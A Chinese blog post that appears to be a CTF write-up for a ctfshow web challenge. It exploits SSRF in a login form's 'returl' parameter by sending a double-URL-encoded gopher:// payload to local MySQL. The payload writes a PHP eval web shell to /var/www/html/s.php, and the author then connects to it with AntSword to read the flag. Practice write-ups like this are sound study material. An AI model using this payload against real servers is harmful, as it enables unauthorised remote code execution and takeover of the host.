ctfshow-web-红包题第九弹

最新推荐文章于 2024-09-05 17:22:26 发布

Wcbddd

最新推荐文章于 2024-09-05 17:22:26 发布

阅读量336

点赞数

分类专栏： CTF web 文章标签：安全

本文链接：https://blog.csdn.net/HAI_WD/article/details/132832315

版权

CTF 同时被 2 个专栏收录

81 篇文章 1 订阅

订阅专栏

web

37 篇文章 0 订阅

订阅专栏

0x00 前言

文中工具皆可关注皓月当空w 公众号发送关键字工具获取

0x01 题目

在这里插入图片描述

0x02 Write Up

首先看到的是一个登录框，登录一下，发现一个疑似SSRF的地方。使用百度进行测试，确认是ssrf

在这里插入图片描述
这里是php可以直接使用Gopher协议+mysql写文件，题目给了提示3306

这里的poc使用工具：https://github.com/tarunkant/Gopherus，工具已经同步更新到公众号的工具库

在这里插入图片描述

然后url编码之后发送请求：

在这里插入图片描述

poc:

u=admin&returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254d%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2522%2573%2568%2565%256c%256c%2522%255d%2529%253b%253f%253e%2527%2520%2549%254e%2554%254f%2520%254f%2555%2554%2546%2549%254c%2545%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

然后蚁剑连接一下，根目录下找到flag

在这里插入图片描述